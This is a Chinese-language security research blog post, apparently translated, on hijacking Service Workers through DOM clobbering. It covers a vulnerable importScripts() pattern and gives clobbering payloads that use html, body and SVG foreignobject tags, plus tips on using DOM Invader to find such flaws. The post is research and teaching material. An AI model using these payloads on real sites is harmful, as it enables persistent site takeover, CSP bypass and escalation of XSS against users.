通过DOM污染劫持Service Worker的技术解析

本文详细分析了通过DOM污染技术劫持Service Worker的攻击方法,包括利用document.getElementById()特性控制SW脚本加载,实现XSS升级、CSP绕过和HTML过滤规避,并介绍了使用DOM Invader工具进行漏洞挖掘的实践技巧。

通过DOM污染劫持Service Worker的技术解析

Service Worker基础回顾

许多网站使用Service Worker(SW)提供缓存和离线功能。由于SW无法访问父页面的DOM,网页通常通过查询参数向SW传递信息。如果这些参数处理不当,可能导致恶意JavaScript在SW内部执行,正如《Service Worker跨站脚本安全研究》论文所指出的。虽然这类漏洞较为罕见,但其影响远大于普通XSS,因为它能实现永久性的客户端站点接管。

Service Worker劫持技术

劫持Service Worker的技术可实现三个关键目标:

  • HTML过滤规避
  • CSP绕过
  • XSS升级

该漏洞的核心在于importScripts()函数,它允许SW从不同域获取JavaScript。在以下示例中,攻击者可以控制host查询参数,从而完全控制被导入的脚本,进而完全控制网站响应。

利用此类漏洞需要两个组件:

  1. 对传递给SW的查询字符串参数的控制权
  2. SW内部可受查询字符串参数影响的importScripts()函数调用

index.html:

1
2
3
4
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// 攻击者控制location.search
</script>

sw.js:

1
2
3
4
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
// host可能被攻击者控制

使用Puppeteer和DOM Invader进行漏洞挖掘

基于这些知识,我们使用Puppeteer和DOM Invader进行漏洞挖掘。扫描多个漏洞赏金站点后,发现一个网站在iframe内使用SW,并从框架文档向SW传递URL参数。DOM Invader立即标记了此行为,但幸运的是该网站不允许从顶层窗口注入SW。

代码示例如下:

1
navigator.serviceWorker.register('https://redacted&_flasher_manifest_=https://redacted/@xconfig/flasher_classic/manifestysvoy7p7location.href')

DOM Invader在location.href源中生成随机令牌,然后传递给serviceWorker.register()接收器。此行为随后在增强DOM中报告。我们配置DOM Invader自动向所有源注入canary,但这并未产生太多结果。因此我们决定采用另一种方法:查找所有使用查询参数的Service Worker注册?这将识别潜在易受攻击的SW,但需要进一步调查是否可利用——这导致了一个有趣的发现…

Service Worker污染攻击

我们发现一个主要网站使用<div>元素向SW脚本传递信息。他们通过使用id为"cdnDomain"的<div>元素的innerText实现:

1
<div style="display: none;" id="cdnDomain">example.com</div>

这种做法很危险,因为如果通过DOM污染技术污染变量,就可以控制SW域。实际上,这与正常的DOM污染攻击略有不同,因为代码使用document.getElementById()innerText。如果在<div>元素之前注入HTML元素,就可以控制CDN域——这意味着可以控制SW脚本的内容。这可能导致完全控制网站响应,同时绕过HTML过滤,或规避CSP并升级反射型XSS。

代码结构如下: 随后使用SW注册方法传递此域:

1
/sw?cdnDomain=example.com

然后SW本身使用该域加载一些脚本:

1
importScripts(`${n}/versionless/workbox-v${s.e}/workbox-sw.js`)

最初我们认为需要在cdnDomain div之前有一个元素才能利用,但发现情况并非必然如此。如果注入具有相同id属性的<html><body>标签,可以污染document.getElementById()调用的结果。示例:

1
2
3
4
5
6
<div style=display:none id=cdnDomain>test</div>
<p>
<html id="cdnDomain">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
</script>

有趣的是,可以从innerText中隐藏元素,因此如果注入HTML/body标签,可以使用样式将其从innerText中隐藏,防止其他文本干扰攻击:

1
2
3
4
5
6
7
<div style=display:none id=cdnDomain>test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>p{display:none;}</style>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
</script>

我们还研究了SVG,可以在其中使用<body>标签:

1
2
3
4
5
<div style=display:none id=cdnDomain>example.com</div>
<svg><body id=cdnDomain>clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>

在Chrome和Firefox上,需要在SVG内使用<foreignobject>标签才能使用HTML标签:

1
2
3
4
5
6
7
8
9
<div style=display:none id=cdnDomain>example.com</div>
<svg>
  <foreignobject>
    <html id=cdnDomain>clobbered</html>
  </foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>

污染document.querySelector()

相同技术可用于污染document.querySelector()的结果。由于此函数返回找到的第一个元素,可以使用<html><body>标签污染类名。

1
2
3
4
5
<div class=x></div>
<body class=x>
<script>
alert(document.querySelector('.x'))
</script>

使用DOM Invader查找Service Worker注入

要查找SW注入,只需将canary放置在查询字符串中,或配置DOM Invader将canary注入所有源。然后DOM Invader如果发现易受攻击的函数调用,将显示名为"serviceWorker.register"的新接收器:

我们创建了一个测试用例来演示此问题。请注意,这仅标记查询字符串正在传递给SW,需要进一步调查此查询字符串是否在SW内部被解析并与importScripts()之类的东西一起使用。

DOM Invader可以通过操纵查询字符串帮助您找到SW注入。然而,在更复杂的情况或漏洞链中,可能希望配置DOM Invader仅显示SW注册,并使用空白canary查看所有调用。可以通过转到设置并输入空白canary,然后单击"update canary"来实现。如果只想查看SW注册,再次单击设置,然后单击常规设置齿轮(DOM Invader旁边),向下滚动并选择无。然后搜索serviceWorker.register并启用它,这将显示所有SW注册。还可以使用接收器回调来查找接收器值中的问号。

要自行查找这些类型的漏洞,可以使用最新版本的Burp Suite,目前可在早期采用者频道上获得。如果您尝试了,特别是如果发现任何SW注入实例,请告诉我们——我们很乐意收到您的反馈。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计